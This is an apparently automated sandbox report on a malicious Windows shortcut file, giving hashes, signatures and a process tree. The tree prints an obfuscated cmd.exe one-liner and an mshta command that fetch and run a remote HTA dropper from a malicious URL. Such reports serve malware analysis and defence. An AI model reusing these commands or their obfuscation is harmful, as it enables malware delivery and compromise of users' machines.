Analysis
- max time kernel
148s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-PWW9X9.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-PWW9X9.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-PWW9X9.lnk
- Size 2KB
- Sample260804-j8vtbavejf
- SHA256 5096ec2c05219eaf3543a45770073cb115b19e0f07433b71c5eff2fc0ae4440e
- MD5 e45f40f2f95f0eda639a0f23dc153f8e
- SHA1 8bab809e9d4ceecdd34abc361ffe7c966ea5412c
- SHA512 199f9a000a4e8b9ab35848f47582c934a5f5a4b03c8e70f9e009efb61db30dd227f95a3387dcbad569317ba7895f84869ebec22e833f17692bb23b32e2840c80
- TLSH T1FA4125506AED05D4F3BADE72E8FA5B10897B78924D61C6DE4880810D1922B01D937BA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4160 cmd.exe 1696 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4160 wrote to memory of 1696 4160 cmd.exe 90 PID 1696 wrote to memory of 5956 1696 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PWW9X9.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set OhD=olddxeztaold&set yDT=infemrockuvymdgsmsttinf&set ioMz=1hlstdtf&&set hTFEu=uza25&&set lf=crtukh&set XhGps=inflyguzxvudcbemxwcginf&set biyXc=tmplnkbhitctmp&set rwjk=8mey&&set wDni=g3ashn&&set RTT=3ta2hu&set aFzu=datycjakcbkhjdldat&&set xR=h@t@tp@s:/@/ma-@pdf@fi@l@l@er.@l@at@/h@/@e@s@t@a@gio1.@php?r@=@39@14@69FB5@D8@2D@B&&start /b !rwjk:~1,1!!wDni:~3,2!!RTT:~1,2! !xR:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5956
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